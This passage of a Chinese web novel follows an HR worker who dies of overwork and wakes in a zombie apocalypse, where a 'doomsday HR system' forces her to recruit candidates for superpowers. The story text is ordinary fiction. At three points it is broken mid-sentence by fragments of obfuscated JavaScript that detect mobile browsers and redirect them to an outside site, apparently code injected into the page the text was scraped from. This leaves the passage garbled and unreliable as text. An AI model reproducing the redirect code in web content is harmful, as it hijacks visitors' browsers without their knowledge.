《末世招聘，我被异类rua起球》 1. 催命系统 咳、咳、咳—— 无尽的黑暗中，叶只秋缓缓睁开眼。 每呼吸一口气，都感觉无数灰尘冲进鼻腔。 晕眩中，她缓缓坐起身，强撑着睁开眼向周围看去。 这是一个陌生的房间，应该很久没有人居住了。地上、桌子上、家具各处都覆盖着厚厚的灰尘。 叶只秋随便一动，无数颗粒飘了起来。窗帘缝隙漏进的阳光，将它们的踪迹照的清清楚楚。 啊，唯美的丁达尔效应！ 叶只秋默默抬手，用袖子捂住口鼻。 浪漫的差点鼻炎都要犯了…… 慢吞吞站起身，环视周围。 除了自己躺过的地方勉强能看出地板颜色外，其他都是灰扑扑一片。 叶只秋眨眨眼，看着脚下自己的轮廓。 呃，看起来不太吉利呀。实在是太像那啥后，警察蜀黍在案发现场画的定位了。 眼神移开，看向桌子。 只见上面放着打开的几十桶泡面。不知道房屋原主发生了什么事，竟然吃了这么多。纸质的桶盒叠在一起，摞的半人高，底部干涸的调料颗粒已与灰尘完美融合。 “汤，喝的好干净啊。”叶只秋嘟囔着发出一句感叹。 往前几步是开放厨房，绕过吧台，挪到水槽位置。将脏的手指放在水龙头下面，旋转手柄。 自从醒来后，浑身上下都有种被灰尘包裹的不适感。 一秒、两秒、三秒。 水龙头发出形似闹肚子的空腔音，随后吐出一抹灰，没了动静。 叶只秋：“……” 收回在水龙头洗礼下，变得更脏的手指，盯着看着几秒，用另一只手开始搓。将指腹上的灰渍搓出一个小条，扔进垃圾桶，她心里终于舒服了一些。 话说，这是哪里？ 叶只秋后知后觉，终于开始思考最重要的问题。 这间寻常的小户型套房内，除了无人居住以外，最特别的当属门窗。巨大的木条交错，把所有出入口钉死封住。 原来房间昏沉并不是因为太阳下山，而是光被挡住了。 所以，这是误入了密室逃脱？ 那自己是怎么进来的？ 叶只秋托着下巴，认真回忆蛛丝马迹。 她今年二十五岁，在某互联网大厂做HR。最近正好是金九银十，找工作和跳槽的人都很多。 叶只秋这个月的任务是招聘三人，填充岗位。 互联网作为高薪行业，按理说供不应求，招人很简单。然而她却忙的脚不沾地，要问为什么…… ——“应届毕业生也该有经验啊，没经验找个愣头青进公司干嘛？” ——“十年？老油条了吧，工资要太高。” ——“二十多呀，这种小年轻不可控，动不动就整顿职场。三十三？有点老了，还有精力加班吗？” ——“这个不行，招来没多久就要结婚生孩子去了……这个也不行，注意力都放在孩子身上了，哪会好好上班？” 叶只秋眨眨眼，看着电脑里几千份简历，陷入迷茫。 领导微笑着拍了拍她的肩膀：“小叶啊，你再看看，明天给我一些新的人选。咱公司要求不高，各方面只要合适就好。” “对了，你这个效率有点低了呀。私下要加加油，看看其他同事，不要拖后腿。” 于是，没有人权的社畜叶只秋只能继续加班。 她滑动着没有尽头的简历，电脑蓝盈盈的光打在脸上，耳边是鼠标滚轮拨弄的声音。 不知不觉，视网膜上映照的文字变成大片黑白雪花点，心脏猛地被揪起。 失去意识前，叶只秋迷迷糊糊的想： 假如自己有能力做决定，一定佛系一点，当个快乐的社畜，躺平吃吃喝喝永不纠结。 …… 叶只秋长叹一口气。 虽然不想承认，但现在看来，自己应该是猝死了。 至于死后到了哪里？反正眼前的‘密室’怎么看都不像天堂。 叶只秋掏出手机，按亮屏幕，右上角信号位置打了一个大大的叉。这种情况只能尝试拨打110了。 “滴——” 通话失败的提示音和脑内机械音同时响起： 【检测到宿主叶只秋，您已触发‘末日人事系统’。】 哈？ 叶只秋懵懵的眨眨眼。 作为一个平凡的社畜，下班后为数不多的休闲时间，她也看过小说，刷过短剧。 死后重生，拥有系统，绑定金手指，这种固定套路她还是知道的。 但是，末日就末日，为什么后面还跟了个人事？！ ptsd已经就位。 还不等叶只秋提出异议，系统消息已经接踵而来： 【系统成功激活，欢迎进入。】 【当前人才紧缺，宿主绑定‘人力资源总监’岗位。】 叶只秋：“等等，上一秒加班猝死，下一秒换个地方上岗，请问这对吗？” 【宿主放心，非常正确。也希望您继续在岗位上发光发热！】 叶只秋沉默，果断拒绝：“……不要。” 【……】 【您是想申请封存账号吗？】 “什么是封存账号？”迟钝如叶只秋，愣是从机械音里听出一丝威胁意味。 【封存账号代表从这个世界抹杀。】 【友情提示，您在原本的世界已经不存在了。】 叶只秋：“……” 好吧，死亡威胁。 但看到人力资源、人事系统几个词，太阳穴瞬间突突疼。 还是不想接受，社畜抱头。 “你抹杀我吧。” 叶只秋的咸鱼性格里有一点很奇怪，她本没什么胜负欲，但如若被架上去，就会不由自主想要做好。 一边丧，一边卷。 如今终于死了，咸鱼翻身咸鱼躺平，打了几个滚还是不想站起来。 【……】 系统也是从来没有遇到过这么油盐不进的宿主。 如果它有牙根，现在肯定已经咬崩了。 【好的。宿主申请封存账号……再次友情提示：封存过程较为艰难，请慎重考虑。】 叶只秋眨眨眼：“艰难是什么意思？” 【为了消除宿主存在痕迹，封存过程中，可能存在骨肉剥离（凌迟），分阶段处理（五马分尸），碾碎成灰（挫骨扬灰），燃烧（火化）等一系列方式。因精神和□□存档差异，封存成功前，宿主会一直同步感受。】 叶只秋：“……” 好恨作为社畜，每一个潜台词都秒懂的无力感。 自己绑定的真是人事系统，而不是什么十大酷刑体验吗？ 见她迟迟没有说话，系统温和提醒： 【请问宿主要继续申请封存吗？】 叶只秋：“不用了。” 【好的，那么本系统继续为您提供同步。】 【宿主：叶只秋。】 【入职时间：1天。】 【当前HC（招聘岗位数量）：1000……00……00……】 叶只秋看着数不尽的“0”，瞳孔地震。这么多人？！ 她忍不住发出灵魂质问：“……你只绑定了我一个吗？” 【是的，所以请宿主努力。】 【发布新手任务：请宿主在一小时内，完成第一名员工的招聘。】 【提示：招聘失败，绑定账号将会封存。祝您工作愉快。】 “？？？” 看着突然出现在脑海中的巨大倒计时，叶只秋一脸懵逼。 等等！！怎么就突然新手任务了。 一个小时，人生地不熟，完成招聘？！ 开玩笑，这是逼自己去大街上拉人？话说回来，要招聘的是什么岗位呀？ 随着叶只秋意念一动，脑中出现厚厚一沓光屏。紧接着，光屏如同纸页飞起，在眼前成宫格样式展开。 【请为不同职能找到合适的候选人，并签订合同，帮助他们发挥特长。】 【「无限种子」：任职后，持有者可无限制取出自己需要的植物种子……】 【「无穷流水」：任职后，持有者可召唤流水，净化污染水源……】 【「灵土空间」：任职后，持有者可根据自身精神力展开空间，空间内土壤自带养分循环系统，抵御外部气候侵蚀……】 【「爆裂火焰」、「金属叠加」、「雷电储能」……「时间操控」、「物质重塑」……】 越往后看，用词越高端，能力越抽象。 叶只秋不敢置信的一字一顿确认，这些牛逼轰轰的‘金手指’就是等待签约的岗位吗？？？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898298|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她看过的末世小说里，异能通常是自己发个烧就莫名出现的呀。如今竟然需要招聘签约？ 叶只秋忍住挠头的脏手，忍不住吐槽：这还需要招聘？拿出去，定然供不应求啊！ 什么人事系统，分明是造神系统。 HR的躺平生活终于要到来了吗？ 滑动光屏，叶只秋看向合同。密密麻麻的文字下，几乎都是用来维护自己权益的，只有几条格外特别。 第十三条：招聘合同一旦签署，职能将彻底绑定乙方，即使解除合同也无法收回，请甲方面试乙方人选时慎重考虑！！ 第四十四条：甲方可强制签署合同，乙方无权毁约。甲方若要解约，当主动赔偿N+1（注意：不要轻易尝试！??????????????????????????） 叶只秋皱眉，赔偿N+1是什么意思，总不可能是钱吧？还有，都已经写备注了，括号里为啥还要打码。 还不等她细看合同后面的内容，系统已经再次提醒： 【请在「54分08……07……06」秒内完成签约，如果失败，宿主账号将被封存。】 啊，对！首要目标，先找人。 视线落在被木板钉死的大门上，叶只秋从鞋柜下的储物箱中翻出个羊角锤。沿着缝隙，将封堵大门的木板一点点撬开。 伴随着脑内倒计时的滴答声，大门轮廓逐渐显现。 木板全部拆下，叶只秋喘着粗气放下锤子：系统给的一个小时，恐怕有大半都得花在密室拆迁上。 正在心中默默吐槽着，突然令人牙酸的“咯滋”声响起。 有人在门口？ 叶只秋微微蹙眉。 “嘎滋——嘎滋——” 像是什么东西在抠挖门板。 声音越来越大。 为了帮忙，这么热心？ 叶只秋严重怀疑，以现在的用力程度，对方能把手指抠折了。 她疑惑的踮起脚，从猫眼向外看去。 畸变的小孔前，一片漆黑。 叶只秋：“？” 谁这么不道德，把猫眼塞住了？！ 似乎是外面的人感应到斥责，一丝狭小的光线从圆孔边沿露出，然后缓缓显出轮廓。 那是一个男人，他佝偻着背，大部分重心都贴在门框上，显得站姿歪歪扭扭。他低垂着头，露出的后脑勺上头发稀疏，还长着凹凸不平的黑红疤痕，看起来很像是感染了什么严重的皮肤病。 男人的手臂以一种怪异的姿势拧着，一下一下划过铁门，发出令人不适的刮擦声。 叶只秋木着脸，得出结论：遇到变态了。 紧跟着，又有几道人影出现在男人身后，他们走姿怪异，和‘守门员’如出一辙。 叶只秋：遇到变态团伙了。 眼神刚要从猫眼上移开，突然外面的男人抬头，脸贴了过来。 灰败的皮肤下是一张死气沉沉的脸，没有嘴唇包裹的牙齿动了动，粘稠的口水流出，滴答下落。半吊着的眼珠垂在脸上，突然抵上猫眼。 小孔再一次变得漆黑。 叶只秋跟着瞳孔放大：“！！” 一秒推翻刚才的结论，不是变态团伙，是丧尸围攻啊！！ “嘎滋——嘎滋——” 数道挠抓的声音密集响起。 “哐！” 严丝合缝的大门被撞得变形。 于此同时，系统机械音提示： 【倒计时「29分59……58……57……」秒】 【请宿主积极行动，尽快完成新手任务，招聘第一名员工。如果失败，宿主账号将被封存。】 叶只秋：“……？！” 她算是知道什么叫前有狼后有虎了。不晓得生吞活剥和凌迟挫骨比，哪个更疼？ 看着越来越大的门缝，叶只秋将羊角锤攥紧，像捧莲花一样横在胸口。 【倒计时：「28分44秒」】 【倒计时：「25分17秒」】 【倒计时……】 门缝变形，腐烂的手指从外面挤进来。 叶只秋屏息，嘴唇抿成一条直线。 要不说社畜就是社畜。哪怕绑定系统，手握一堆金手指，倒计时也只会催你去死。 伴随着“嗬嗬”的抽气声，两个腐烂的脑袋同时顶了进来！ 2. 候选人pass 咕叽、咕叽…… “呕！” 叶只秋无奈。 她一只脚踹在门上，努力抵住越来越大的缝隙。双手紧握锤头柄，用力把几颗往里钻的脑袋往外怼。她像打地鼠一样，哪颗进来怼哪颗。 咕叽！ 羊角锤尖锐的那端又一次戳入皮肉，卡进骨头。随着蛮力拉出，腐肉四溅。 “呕……” 叶只秋崩溃。 别人家末世的丧尸什么样她不知道，但眼前的丧尸真的很让人抓狂。不知是不是腐烂的程度有些高，它们身上一戳一个洞，但怎么戳都戳不死，一不小心还会爆浆。 “嗬嗬……嗬嗬……” 随着脑袋上漏风的地方越来越多，诡异的抽气声听得人发毛。 叶只秋用袖子裹着手，掌心与锤头接触的地方沁出汗，脑子里系统提醒仍在跳动： 【倒计时：「20分53秒」】 没时间了，不管怎么样，必须出去！ 再这么继续下去，丧尸都快变成史莱姆了，到时候不用自己挡门，它们顺着门缝都能流进来。 叶只秋眨了眨眼睛，深吸一口气。 猛地将门锁拧开，向后一拉！本就重心不稳的丧尸们一头跌了进来。 顾不得细看，浑身的运动细胞都在此刻调动到极致。 叶只秋撑着门把手，一个大跨步，越过障碍，挥着羊角锤跌跌撞撞向外冲去。 眼前是一条长长的走廊，时不时会出现分叉路口。 妈呀，这竟然不是普通的居民楼，而是商场上层的酒店房间。 找不到楼梯的叶只秋在走廊疯狂绕圈，身后追击的丧尸越来越多，除了一开始的几只外，还有听到动静加入的。 余光瞥向身后，根本看不到尾。 叶只秋一脸麻木：“……” 她已经快跑死了。 系统能不能换个任务，比如从招聘一人，改成贪吃蛇队伍积攒二十米。 显然，祈祷没有奏效。 就在叶只秋以为自己会和‘蛇尾’相撞之时，拐角处一扇门突然打开。 懵懵的站在房间里，看着对面一脸欣喜望着自己的男人，叶只秋终于反应过来：好像得救了。 “这栋楼里，竟然还有活人？！”男人围着叶只秋，兴奋的转了好几圈。 许是意识到自己表现的过于激动，他平复下心情，伸手：“你好，我叫汪舟。” 叶只秋没有回握，而是将视线转向屋子。 这里的构造与自己那间基本相同。因为有人居住，房间内灰尘味淡了一些，却多了股混杂的臭味。 地上的纸壳箱里，一部分放着泡面桶，一部分堆着矿泉水瓶。水瓶大多空了，只有几个装着半满不满的黄色液体。 叶只秋在那几个水瓶上停顿了几秒后，突然明白了什么，目光快速移开。 “你一直住在这里吗？我竟然完全没发现。” 汪舟应该是很久没有看到人了，即使努力压抑，还是忍不住一句跟着一句，疯狂倾诉。 拼拼凑凑间，叶只秋大概了解了一些这里的情况。 五年前，末日降临，病毒大面积扩散，人动物植物开始异变。国家随之建立了大型安全区。但安全区设在人口密集的地方，像G市这种偏远城镇，居民只能跟随队伍，徒步前往。 汪舟不愿意离开土生土长的家乡，决定留在这里。 和他同样选择的人不在少数，一开始大家还能靠着搜刮物资存活，熬到第三年，弹尽粮绝。没了生活必需，加上自保困难，人越来越少。 再后来，汪舟至少一年没见过同类了。 “我听到声音时候简直不敢相信。”他指着门，“那些丧尸竟然真的在追人！” “你应该也囤了好多东西吧，不然没法熬到现在。” 叶只秋含糊的嗯了一声，补充道：“没东西了。” “我想也是。要不是没吃喝了，谁也不会往外冲。”他在身上掏了半天，摸出指节长的一小段压缩饼干，“我就剩这点了，分你吃吧。” 叶只秋有些诧异：“给我？” “嗯。”汪舟看向窗外，“就算我留着，也撑不过三天。” “今天你运气好，不知道为什么这栋楼里，丧尸少了好多，攻击力也比平时弱。趁这个机会，我们想办法出去，找找物资。” 汪舟看向叶只秋：“你觉得呢？” 叶只秋愣神中。 【倒计时：「14分22秒」】 相比较出去找物资，新手任务更关键，在脑中翻出「无限种子」招聘合同。 叶只秋认真脸：“我有件事情需要和你说，虽然听起来有点奇怪，但是……” “嘭！” 巨大的撞门声打断叶只秋。 两人回头，只见防盗门被撞出一道缝隙。 汪舟：“先离开房间，有什么话出去了再说。正好我也有件事，一会儿告诉你。” “跟我来。”汪舟带着叶只秋爬上窗户，“这是当初酒店做的火灾逃生通道，我们可以从这里下到三楼。二楼连接一楼的那部分，因为丧尸聚集，被拆掉了。” “下去后，我们再想办法从大门离开。” 伴随着‘嘎吱、嘎吱’的声音，汪舟背影消失在窗口。 叶只秋尔康手：“……” 她木着脸爬上窗户，看着摇摇欲坠的生锈通道，小心伸出一只脚。 嘎吱吱吱—— emmm，这生真的是一点都不想逃了。虽然嘴上抱怨，叶只秋还是口嫌体正直的跟了上去。 汪舟明显不是第一次从通道离开，叶只秋在他的提醒下，避开好几处破损易踩空的位置。两人异常顺利到达三层。 一路下行，躲在出口正对面的拐角处，叶只秋看着大厅中密密麻麻游荡的丧尸，发出灵魂提问。 “这么多丧尸，叫少了？” 汪舟压低身体：“嗯，比之前少了将近三分之二。” 叶只秋：“……” 那之前的丧尸在干嘛？挤一起开livehouse？ 汪舟没有察觉叶只秋的内心吐槽，尽职尽责解释道：“自从今年丧尸数量翻倍增加，我就没成功出去过。” “之前收集的食物和水已经吃完，靠着那块压缩饼干，我撑了一周……幸好你出现了。” 叶只秋懵懵的眨眨眼，过得好可怜最后一口还给了自己。 她安慰的拍拍汪舟：“以后肯定有好多吃的。” “嗯。”汪舟露出一口白牙，笑的格外灿烂。 叶只秋感动。 这就是双向奔赴的招聘呀！ 【倒计时：「9分41秒」】 在脑中翻找「无限种子」调出岗位。叶只秋对着系统举起拳头：签约，签约！ 【请宿主确认，是否要与当前备选人签订「无限种子」合同。】 【如无异议，请甲乙双方在任意位置写出姓名，系统会自动录入。】 叶只秋：终于感受到一丝智能。 “汪舟，你……”话刚出口，被突兀打断。 汪舟全神贯注盯着大门方向，既像是对着叶只秋说，又像是自言自语。 “我计划了很多次，这回终于有机会实施了。” “一会儿我们兵分两路，一个负责吸引丧尸注意力，一个从快餐店后门绕到……再到……最后从南边侧门出去。两公里外的大型超市也许还有物资。” 叶只秋懵逼：“你说的地方我不认识。” “没事。”汪舟笑的灿烂，“我知道就行了，你的任务是吸引丧尸。” 还不等叶只秋反应，一股巨大的力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之前我觉得你笑起来像labubu，现在看完全没有labubu可爱。” “你，只是牙多。” 汪舟皱眉，看神经病一样看着叶只秋：“这就是你想跟我说的事？” 叶只秋偏头不再看他。 “死到临头，骂人都不会骂。”汪舟嗤笑一声，转身离开。 叶只秋脑内系统发出尖锐爆鸣： 【倒计时：「6分00秒」】 【请尽量挽回候选人，如果新手任务失败，账号即刻封存，宿主将被抹杀！！】 看着汪舟消失的背影，看着越来越多聚集过来的丧尸…… 叶只秋：挽回？怎么可能。做了坏事还想从自己这得到金手指？想p吃！！死也不可能给他这个机会！！！！ 系统：【……】 生死当前，这么有骨气？ 黑压压的丧尸，成群结队，向着镂空电梯围来。 叶只秋死马当活马医，明知没戏，还是尝试着把三排按钮都按了个遍，确认没希望后，她退到电梯角落处，团成一团，默默捂住眼睛。 唔，太可怕了。这次真的要死了。 系统：【………………】 真的很无语啊，为什么绑定上这种又怂又勇、又呆又不会吵架的宿主。 沉默几秒，提示音再次响起： 【请问宿主是否选择激活新手礼包？】 【如选择激活，需要用任务剩余时间的1/2兑换。】 【当前剩余「5分50秒」，若开启新手礼包，任务时间缩短至「2分55秒」】 5. 人才地图 顶着叶只秋期待的目光，霍不予虽然冷脸，却还是帮她实现了愿望。 只是，对面的小豆丁好像不是很满意…… 叶只秋沮丧的看着身上，眼角低垂，像个委屈巴巴的小熊猫。 衣服确实干净了很多，却并没有恢复一开始的模样，身上依然有着浓浓的灰尘味。可能是因为自己进入这个世界时，初始状态已经沾灰了。 唉，看来「时间操控」不能跨空间啊。 如果霍不予知道叶只秋的心理活动，一定会冷笑出声。 岂止是不能跨空间，目前高等一点的活物都无法操作。不知道能力上涨100%后，可以到达什么程度？ 想到这里，霍不予看向跟前的小豆丁。 叶只秋现在已经把自己哄好了，她躲在霍不予身后，探着头观察。发现丧尸都离得远远的，谨慎开口：“咱们去找些食物吧。” “对了，你吃东西吗？” 霍不予唇角微翘，眼神扫过叶只秋颈侧跳动的血管，轻飘飘开口：“吃不吃都行。” 叶只秋点点头，感叹：好吧，丧尸王就是不一样，真省粮食！ 一番鸡同鸭讲后，两人成功出发。 叶只秋好奇的打量着周围。 柏油路上，汽车残骸三三两两挤在一起，恍若同时发生了多场交通事故。巨大的环形立交桥只在转弯处出现破损，水泥石块靠钢筋连着悬在半空。路两边的绿植无人修剪后，肆意生长了一段时间又快速枯萎，最后被长相怪异的野草彻底霸占。 高高低低的楼房错落交叉，除了卷帘门之类的金属构造变得锈迹斑斑外，看上去没有什么大的破损。 虽然死气沉沉，但都正儿八经的屹立着。 所谓末世，要比叶只秋想象中好很多。 霍不予在前面开路，余光扫到身后小豆丁，看着对方先是一脸好奇打量周围，后又满怀欣慰的样子。 霍不予：……第一次觉得人心如此难懂。 不怕复杂的，就怕白痴的。 叶只秋还沉浸在‘种花家基建就是牛B’的自豪感中，突然对上霍不予复杂的目光。 叶只秋疑惑：“怎么了？” “没什么。”霍不予淡淡道，“你想去哪儿？” 叶只秋：“这里你应该很熟吧？” “不熟。”霍·杀西丧尸王·顶替抄家·不予，一口否决。 叶只秋：“……” 难道他也是个路痴？ 眨巴着眼，叶只秋努力回忆：“距离……额，咱们出来的那个大厦两公里，左转、右转、怎么转应该有个大型超市……算了，就在附近找找商店吧。” 叶只秋果断放弃，她发现从汪舟那获得的信息啥也没记住。 霍不予耸耸肩，随意向前。 叶只秋刚要跟上去，脑中突然响起系统提示音： 【滴！】 【请宿主注意查看未读消息。】 叶只秋：“？？” 顶着脑内小红点，一脸懵逼开始翻看。找了半天，终于在新手任务成功页面最下方，看到个礼盒按钮。 叶只秋：“……” 藏在最后面，一点都不真诚！！谁会认真看套路化的东西？ 就像是app登录时必须勾的授权规则、获奖后的长篇大论结算……普通人发现没得选时，根本都不会看这些东西好吧？ 系统：……第一次因为宿主过于躺平，而考虑调整彩蛋UI放置位置。 叶只秋小小吐槽完，点击按钮。 【新手任务奖励：为了帮助宿主更好招聘合适员工，系统提供人才地图。希望宿主再接再厉，创造新业绩！】 【人才地图使用规则：范围-500米；实时检测可能出现的人才动向；帮助甲方更好识别身份信息。】 叶只秋歪头：这不就是当初新手礼包的第三个选项，还是升级版！！ 有了这个，以后再也不用发愁找人啦~~ 对着‘人才地图’icon戳戳戳。 几秒后，一张半透明的光屏显示在眼前。 屏幕内，白色的光圈正中间，带着尖尖小角的蓝色光点闪烁。蓝光点旁，是个蓝色描边的红点。再远些，几十个分布散乱的红点，正没有规则的缓慢移动着。 叶只秋转了一圈，发现蓝点代表自己，尖尖是目前面对的方向。 蓝边红点代表霍不予，红点代表周围丧尸。 叶只秋眼神停留在属于霍不予的光点上：这是啥意思？身在曹营心在汉？无间道？！还挺好玩。 神经大条的叶只秋完全没有细想图标深意，注意力转移到其他地方。 人才地图最顶部，黄底加粗红字，横幅滚动： 【请宿主充分使用地图工具，为‘末日人事系统’吸纳人才！！尽快招聘新员工！！！】 叶只秋看着除自己以外的满屏红点“……” 好消息：获得看似得力工具。 坏消息：工具是个鸡肋，实际没任何用处。 而且，人才地图只标红点，周围地形全部忽略。比如明明看到左手边有个丧尸在靠近，但是实际看去，左边是大楼，丧尸根本过不来。 叶只秋建议：“系统，地图能不能升级一下，加上简单路况？” 可以看路的话，还能用鸡肋地图找找超市。 【宿主等级过低，建议先完成招聘任务，累计贡献值后，系统可尝试升级功能。】 叶只秋：“……” 蔫蔫放弃，收获一个手绘大饼。 毫无目的继续前行，叶只秋发现有霍不予在，围过来的丧尸最多靠近10米距离，便会自行避让。 除非，遇上反应慢的，比如眼前这只。转角遇上爱的丧尸，上一秒还龇着牙，下一秒对上霍不予就跪了，物理层面上的那种跪。 “奇怪，它是不是变软了？”叶只秋看着五体投地的丧尸，发出灵魂质问。 如果说之前它们像风干的牛肉干，现在就像柔软的鱼片。虽然都没有水分，体感差异却很大。 霍不予漫不经心的撇了眼地上的丧尸，随口道：“可能吧。” 霍不予没有告诉叶只秋，她的感觉很正确。甚至如果不急着跑，而是选择原地蹲几小时，叶只秋定能见证丧尸化泥过程。 造成这种原因，还要说回丧尸间的关系：同领地的丧尸小弟见到自己专属的王，能力会加强，反之被克制。 霍不予一个北方领主跑来西部，没有大哥撑腰的丧尸小弟们看到他，等级压制下纷纷腿软。 这也是酒店大楼内，聚集丧尸减少的主要原因。 开玩笑，就算没有智商只剩本能，大部分丧尸也知道楼顶坐个丧神，不要去触霉头。 一天下来，楼内只剩下最低级、傻到不能再傻、弱到尘埃的丧尸。 霍不予淡淡扫向叶只秋，默默纠正：也不光是丧尸，还有个更傻的。 叶只秋完全不知道自己惊险的丧尸逃脱，在霍不予眼中是菜鸡互啄。 “啊啾、啊啾。” 叶只秋站定，连打两个喷嚏。 一想二骂，要不是刚来这个世界，她严重怀疑有人背后蛐蛐自己。 揉了揉发痒的鼻子，幽怨的目光落在霍不予干净的衣服上。 叶只秋暗中腹诽：灰没抖干净嘛…… 霍不予：“……” 面色未动，心中迟疑。看眼神像是知道了什么，难道小豆丁藏了一手读心术？ 两道目光对视，电光火石间什么也没擦出来。 叶只秋疑惑收回目光，将注意力重新集中在‘人才地图’上。 虽然没什么用， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898302|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但可以挑丧尸少的方向走。 一路前行，路过三四家便利店，扫荡一圈后一无所获。 叶只秋沮丧，整个人恹恹的。 职场失意也就算了（这地方根本找不到人），怎么饭场也失意？ 【滴！发现人才。】 许是怨念通过脑电波传入地图，被红色小点占据的区域内，一颗淡淡蓝点出现在边缘。 叶只秋：“！！” 啊，出现活人啦～ 太棒了，一会儿见面先把水签给TA，或者种子也行，火好像也挺重要…… 算啦，启用强制签约吧，看看哪个适配？ 没有选择困难，主打随缘的叶只秋带着霍不予向蓝点方向靠近。 七转八拐，穿过街道。 不远处，一栋连锁超市出现在眼前。建筑墙壁上，三层楼高的美食广告，披萨汉堡汽水…以冲击画面展示！ 图案虽已斑驳掉色，却仍能窥探出几丝末世前的繁荣痕迹。 叶只秋双手合十，对着广告拜了拜。 霍不予：“你在干什么？” 叶只秋：“我在向气泡水之神祈祷，希望进去的时候可以梦想实现。” “……”完全理解不了对方脑回路，霍不予抬腿，率先向商场走去。 叶只秋拜完，紧跟其后。 看着脑中蓝色小点越来越近，叶只秋兴奋期待新朋友加入。 谁知刚走到旋转门前，一抹熟悉的影子映在玻璃上。 叶只秋脸色一变，笑容瞬间僵住。 蓝点竟然是汪舟！！！ 身体向前的趋势生生止住，叶只秋一个转身，猫腰藏了起来。 “敌明我暗。”脑袋缩起来最后一秒，她还不忘叮嘱霍不予：“不要说认识我！” 霍不予饶有兴趣看向瞬间变身严肃河豚，气呼呼的叶只秋。 半晌后，身后传来小心翼翼的试探声： “哥们，你也是幸存者吗？” 霍不予转身，幽幽视线照在来人身上。 汪舟打了个冷颤。 他吞下一口口水，将霍不予从头到脚看了个仔细。 视线落在对方一尘不染的衣服上，汪舟心中震撼。 对面男人看起来很面生，应该不是本地人，但一定很厉害！末世五年，他从未见过有人可以如此干净得体。哪怕面色苍白，依然没有丝毫狼狈之色。 汪舟脑内快速盘算，眼底闪过暗芒。 他露出招牌笑容，迫不及待几步上前，手臂抬起熟络挽了上去。 霍不予冷冷侧身，避开。 汪舟的胳膊搭空，尴尬一笑。 挽尊开口道：“不好意思，有些激动。我太久没见过活人了……” “你一直在这个城市吗？刚才我看到人影闪过时，完全不敢相信！！” “如今遇到也算有缘，我们搭个伙儿吧。” 霍不予似笑非笑盯着汪舟，眼神在他身后叶只秋藏身地转了一圈后，才凉声道：“好啊。” 汪舟笑的阳光：“太好了，我叫汪舟。” 霍不予：“嗯。” 汪舟：“……” 等了几秒后，见对方依然没有自我介绍的打算，他尴尬转移话题。 “这个超市我搜了几圈，食物已经被搜刮的一干二净。我们去其他地方找吃的吧。” 霍不予斜靠在墙上：“你很饿？” “当然，我已经将近一星期没吃东西了。” “哦，那我倒是可以先分你点。” 霍不予微笑着从兜里取出一样东西，随着手心展开，包装袋发出“刺啦”声。 汪舟：“！！！！” 他瞳孔瞬间睁大。 霍不予递到他眼前的，正是当初他送给叶只秋的那一小段压缩饼干…… 6. 查重率99％ “这，这东西你从哪儿拿的？”汪舟左眼下的肌肉跳动着，他挤出一个难看的笑容，努力想要保持冷静。 “怎么，你认识？”霍不予没有回答他，而是反问道。 汪舟：“……” 他一时不知道如何回答，眼前的男人明显是个很好抱的大腿，如果遇到丧尸，有这种人存在，自己存活的概率能高很多。 但要怎么抱呢？ 如果对方见过叶只秋并救下她，自己要怎么否认害过那女人？趁着对方没问罪前，先忏悔吗？ 但如果拿到压缩饼干只是凑巧，忏悔不就是多此一举？ 汪舟心中犹豫不决，在霍不予浓黑阴鸷的视线下，他反复斟酌，结巴着吐出一个词：“眼、眼熟。” 这种模棱两可的答案，是目前他能想到的最好选择。 “哦。我是在一个丧尸身上看到的。”霍不予轻飘飘回答。 汪舟心底长舒一口气，刚想随口附和：这样啊……就听霍不予淡淡的声音继续传来。 “可能它们从什么人身上抢的吧。那丧尸胳膊上都是手指挖过的长痕。” “拥有压缩饼干的人在死之前，肯定很努力求生。可惜啊，在众多丧尸面前，多么用力挣扎也是徒劳。” “生命就是如此脆弱……” 汪舟一愣，对面的男人气压很低，面色苍白没什么表情，声音却听起来格外痛心，像是在为同胞的逝去而惋惜。 这种冰火两重天的情绪，让人有种极致割裂的错觉。 “是，是啊。”汪舟颤着声音应道。 “对了，你叫汪舟是吧。”霍不予像是想起了什么，“拿饼干的丧尸嘴巴里喊的两个音节，和你名字很像。” 汪舟：“！！！” 末世丧尸都是人类变异而成，虽然变异后它们的思维退化，甚至开始吃人。但语言方面，依然有个别丧尸保留，它们会无意识重复听过的词或句子。 想到自己把叶只秋关进电梯，砸碎玻璃的操作，他脸色变得惨白。 不确定那女人死前会喊什么，眼前的大腿是一定要抱的，汪舟面上突然转成一副悲戚模样：“难，难道饼干是小叶的？” 霍不予眉头微挑，疑惑：“小叶？” “是啊。”汪舟捂着脸，声音带着哭腔，“小叶和我是一个地方的幸存者。她被丧尸追的时候，我救了她一命，把她留在身边。” “我们躲在一起，抱团取暖。可是没有食物了，小叶是女孩子，一直跟我哭，她很饿。” “我没有办法，只能出来找吃的。还把身上最后剩的一点饼干留给她。” 